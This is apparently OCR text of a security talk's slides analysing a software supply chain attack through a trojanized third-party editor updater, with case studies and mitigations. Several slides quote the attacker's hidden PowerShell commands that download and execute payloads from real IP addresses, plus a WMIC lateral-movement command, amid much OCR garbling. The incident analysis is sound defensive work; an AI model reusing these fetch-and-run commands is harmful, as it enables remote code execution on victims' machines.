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PREVIEW

Few months back, the Windows Defender Advanced Threat Protection (ATP) research team
noticed security alerts that captured an interesting attack pattern.

These alerts uncovered a well-planned cyberattack that targeted several high-profile technology
and financial organizations with possible intentions of a cyberespionage campaign.

An unknown attacker was taking advantage of a silent attack vector: the compromised update
mechanism or software supply chain for a third-party editing tool.



WHAT WOULD BE COVERED

> Variants of Software Supply Chain Attacks

> Trends and reason for a rise in these attack vectors

> How this vector is quite effective for larger enterprise/business
> (GO through some recent case studies of major incidents

> Overview into pen-testing mechanisms used to compromise
updaters

> Best practices for developers to create and maintain secure
software updaters



POPULAR ENTRY VECTOR FOR ATTACKERS

Browsers
# of Microsoft Remote Code Execution # of Microsoft Remote Code Execution CVEs
CVEs by year patched exploited as zero day by year patched Conclusions

e Finding bugs in Flash is generally getting harder
o 1 bug per day versus 1 per week

e Certain bug classes are drying up, but others are
taking their places

e Flash mitigations are making it more difficult to
exploit bugs, especially with low-quality bugs

CVE Count

Patch Year Patch Year

Google

Toward mitigating arbitrary native code execution Courtesy: Report by Natalie Silvanovich
in Windows 10 @natashenka
Courtesy: Microsoft Project Zero, Google



CHANGE IN ATTACK VECTORS IN DUE COURSE..

Yesterday

Macro, Packager,
OLE, DDE




HIT WHERE IT HURTS THE MOST

Stealth

Covert

Why is Supply
Chain attacks
most effective in
larger enterprise

Dependency

Persistence




VARIANTS OF SUPPLY CHAIN ATTACKS

Stealing of

Compromising Certificates

the build servers

Compromising the Entire hardware
update infrastructure Compromise




RECENT NOTABLE SUPPLY CHAIN ATTACKS
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« Freeware backdoored to
compromise IT industries

* Executed in memory and
no traces on disk

« If primary C2 is not
reachable it turns to a
DGA algorithm

« Connection to the C2
downloads 2"d stage of
payload

Courtesy: Cisco Talos

« Build infrastructure
compromised with
backdoors

» Trojanized 'nssock?2.dll’
were shipped with the
product updates

« Backdoored .dll executes
as in-memory shellcode

« DNS C2 generated using
DGA algorithm

NetSarang Xshell

Courtesy: Kaspersky

* A popular local
taxing/accounting
software used a
distribution vector for
Petya

» Threat actors created a
backdoor inside M.E.Doc
disguised as a software
update

Courtesy: Kaspersky, Cisco Talos



WHERE IT ALL STARTED

« SOC identified suspicious PowerShell activities on partner machines

032220 )
 Activities initiated by licensed 3rd party editing application during an / 09342
upgrade attempt 0322200 Suspicious Powershell commandii
0322209
.. : | 09:34:2¢ :
« Malicious upgrade file .exe connected to 2 C2 servers and o522 200
downloaded a .PNG 1093424 < 0us Powershell commandline
03.22 209 <, Prrsae s
. . 092122 ) e mmandline
 Passes over the PNG as a parameter to a function (PNG is actually 032220 5,
an encoded series of shellcode being injected in the memory via | 09:04:2¢ o crshell commandlis
PowerShell) 03.22 208

| 09042

powershell.exe
59:3 0 21d5224e20a4be7f303abbc4bof219d0d70904ee
powershell.exe b CAWindows\SysWOWe4\WindowsPowerShell\w1.0\powershell.exe
powershell.exe -nop -w hidden -c $J=new-object netwebclient;$).proxy=[Net.WebRequest]:GetSystemWebProxy();$).Proxy.Credentials=[Net.
CredentialCache]:DefaultCredentials;|EX $J).downloadstring(http://5.39.218.205/logo.png’);

powershell.exe
I {9\:3 1121d5224e20a4be7f303ab6c4b9f219d0d70904ee
powershellexe b C\Windows\SysWOW6A\WindowsPowerShell\w1.0\powershell.exe
“powershell.exe” -nop -w hidden -c $s=New-Object 10.MemoryStream(,[Convert]:FromBase64String('H4slABc+0lgCA7VW
+2/aSBD+0ZX6P1gVEKYh2BCHIpEq3dpgDMFAYpehgFrsBTasvWCveaTX//3GPBpybe56dzol5PXOY2e/b27n)3HgCsoDabVRe7g



EMUpdate.exe
4T ba i el 5D 1f651bcf
b CA\ProgramData\IEERComp\Common\WlUpdate.exe
(=] "@MmUpdate.exe” -f -p GHENEN-2 25080.68 -c 23 509.34 -l english -u http://www sismmmiit com/downloads/

The version these machines are trying

to fetch an update

Suspected trojan HiddenPayload O amsistream-F3D98363204B7046E4E8635D27248538

Suspected hacking tool Cobalt@ amsistream-54EFCFB336A22C632F51FIEEDGE4321

Suspected hacking tool Cobalt  amsistream-D19CTA4A4AADFDCOC3TD4617AEAZDE13 The CmdletS CreateS feW processes and Seemed
=} rundll32.exe communicated with  5.39.218.205 to drop flles related to Cobalt Strlke

Suspicious Powershell commandline
Suspected Behavior PsHiddenWindowLaunch powershell.exe

Suspected trojan HiddenPayload amsistream-AA3FFB49TABTOBF5743109A0C9D5C661

cmd.exe
® 99ae9c73e9beebfoc76d6f4093239882df0683 2cf

kb C\Windows\System32\cmd.exe
cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWWBJAG4AdABQAHQAcgBdADoAOgBTAGkAeg

BIACAALQBIAHEAIAAOACKAeWwAKAGIAPQANAHAAbLWB3AGUACgBzAGgAZQBsAGWALgBIAHgAZQANAHOAZQBSAHMAZQBTAC

Machine also seen to be
double encoding the original

encoded cmdlet and trying
the intended activity



ATTACK INDICATORS OBSERVED SO FAR..

The following network addresses were actively used by the attacker to perform initial network scanning and
command-and-control (C&C) communication:

*hXXp://5.39.218.205/logo.png (used for initial infection and C&C communication)

powershell.exe
iCEB (0 21d5224e20a4be7f303abbc4b9f219d0d70904ee
k CA\Windows\SysWOWseH\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -nop -w hidden -c $J=new-object net.webclient;$).proxy=[Net. WebRequest]::GetSystemWebProxy();$J.Proxy.Credentials=[Net.

CredentialCache]::DefaultCredentials;IEX $).downloadstring(’http://5.39.218.205/logo.png’};

powershell.exe

powershell.exe
R Q:CEB (0 21d5224e20a4be7f303abbc4b9f219d0d70904ee
b CA\Windows\SysWOWe4\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe” -nop -w hidden -c $s=New-Object 10.MemoryStream(,[Convert]::FromBase64String('H4sIABc+0IgCA7VW

+2/aSBD+0ZX6P1gVEKYh2BCH)pEq3dpg DMFAYpehqFrsBTasvWCveaTX//3GPBpybe56dzol5PX0OY2e/b2Zn)3HgCsoDabVRe7g

powershell.exe

*hXXp://176.53.118.131/logo.png (seen to be possibly trying for lateral movement and C&C communication)
[wmic /node:[SOME MACHINE] process call create cmd /c powershell.exe -nop -w hidden -c Sg=new-object
net.webclient; $qg.proxy=[Net.WebRequest]::GetSystemWebProxy ();$g.Proxy.Credentials=[Net.CredentialCache]::D
efaultCredentials; IEX $g.downloadstring('hXXp://176.53.118.131/1logo.png’) ;]

The same IP addresses were used with different URLs to download Meterpreter based payloads. The logo.png
files in the initial URLs contained the PowerShell scripts in base64-gzip encoding.



BRAINSTORMING#T
BREACH SCENARIOS

Possibly an attacker

sniffed an unsecure

channel of update
delivery

Maybe MITM by
modifying the update
when it arrives in the box

Maybe adversary already
on the machine

Possibly a Compromised update
infrastructure of the 3rd party
application




BRAINSTORMING#?2

Why only some machines infected

The 3™ party tool was why only a handful of
seen across multiple machines were showing
machines with no signs suspicious activities?
of compromise

&R Update.exe
CAC T b ettt 5 11651 bt
k. CA\ProgramData\EEEComp\Common\#lllUpdate.exe
=] "dUpdate.exe” -f -p CEENNER -2 205000.68 -c 231829.34 -| english -u http://www el com/downloads/

The update requested DOES NOT EXIST, latest official version of the
tool is 2x.xxxx.56 (and the update requested here is 24.00.0.68)




CRIME SCENE EVIDENCE COLLECTION..

T Sorce Destraton Mot  Legh Ind
1 0.000000 o= o= Rl | ey .19 NTTP 406 OET /melp/assats/files/ve.exe NTTP/1.1
2 0. .245%4 35 = . 1%) . J LS B0 « SH68 [P, ACK] Seqel140]1 Ack=a)

« Capturing Win pcaps

Frome 1: 488 Dytes on wire (3088 bits), 406 bytes captured (3088 bits)
Ethernet II, Src: Microsof ed:0b:e? (00:15:5d:e4:00:¢7), Dst: IETF-VRAP-VRID 02 (00:00:5¢:00:01:02) ° c " H h f H d
Internet Protocel Version 4, Src: 157.99.30.2, Dst: 184.172.99.1%) o eCtIng Ot er OrenSICS ata
Transsission Control Protocol, Src Port: SO668, Dst Port: B9, Seq: 1, Ack: 1, Len: 402 f d' k f O f d h'
. TSN WO | rom disk of infected machines

- GET /help/assets/files/ve. exe NTTP/L.1\r\n

[Expert Info (Chat/Sequence): GET /help/assets/files/ve.exe WTTP/1.1\r'\n]

Reguest Method: o7

Neauest U811 /help/essets/Files/ve. exe « Contacting the 3rd party

Reguest Version: NTTP/1.1
Accept: text/html, spplication/whtalexml, isage/fxr, */*\r'\n S t. f d t .I
poom o famma ey 1. omres organization ror aetalis
pser-Agent: Mozilla/S. 0 (Mindows NT 10.0; NOME4; Trident/7.0; rvill1.9) like Gecho\r'\n
Accept-EIncoding: giip, deflate\r'n

st: waw. ultreedit.com\r'\n

mcbrmesoer it « Convincing 3 party organization
Cookie So~0AL . 2. 829105351 . 1490638796 ; NSC_Luug wigqleffifirfrontllagsassisasrarsaassSeddsodad 2 dose; NS abdna . .

Full request URIL: hetpi/leee uitracdit con/hela/asanta/flles/us exe to prOVIde us forenSIc data Of the
[NTTP reguest 1/1) impacted Servers



FOLLOWING THE BREADCRUMBS#1

This updater file was retrieved right from the
source hosted directly on the compromised 3™
party’s .com website

Following is the snippet of the Code sample of
the Trojanized updater .exe.

The bad Powershell script which compromised the

machines were actually obfuscated in reverse
(much like a mirror image).

powershell.exe -nop -w hidden -c $J=new-object

00018CsS0
00018Ce0
00018C70
00018C80
00018C90
00018Ca0
00018CBO
00018CCO
20018CDO

SCEOD

000x1c.
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net.webclient;$J.proxy=[Net.WebRequest]::GetSystemWebProxy();
$J.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;|EX

$J.downloadstring(‘*hXXp://5.39.218.205/logo.png");
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FOLLOWING THE BREADCRUMBS#2




SHELLCODE MIGRATION
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NOTABLE ATTACK TTP

* Non-persistent, self-deleting initial binary
* Memory-only payloads run by PowerShell and Meterpreter running in rundll32

* Recon activities and machine enumeration, using standard commands, such as NET, IPCONFIG, NETSTAT,
WHOAMI etc

» Migration into stable processes, such as the Windows Printer Spooler or spoolsv.exe
» Use of common tools like Mimikatz and Kerberoast to dump hashes
* Lateral movement using Windows Management Instrumentation (WMI), specifically the WMIC /node

command
[wmic /node: [SOME MACHINE] process call create cmd /c powershell.exe —-nop -w hidden -c $g=new-object

net.webclient,;Sq.proxy=[Net.WebRequest]::GetSystemWebProxy () ;5q.Proxy.Credentials=[Net.CredentialCache]::

efaultCredentials;IEX Sq.downloadstring('hXXp://176.53.118.131/1logo.png’) ;]

* Persistence through scheduled tasks created using SCHTASKS



INITIATIVE TO REDUCE THE ATTACK SURFACE

SOFTWARE SYSADMINS INFOSEC

VENDORS &
& SOC ANALYSTS COMMUNITY

DEVELOPERS

Strong encryption on update Track unsigned binary execution Enforcing notification and intel
channels Patch all software inventory sharing for breaches

Validate Digital Signatures Detect suspicious network traffic TTP and indicators should be
before execution (eg. DGA) shared among community
Apply Software Restriction Detect phase 2 actions of a

policies breach

Secure Update infrastructure Setup IOA criteria for file self-

Setup incident response plan deletion, Suspicious PS cmdlets
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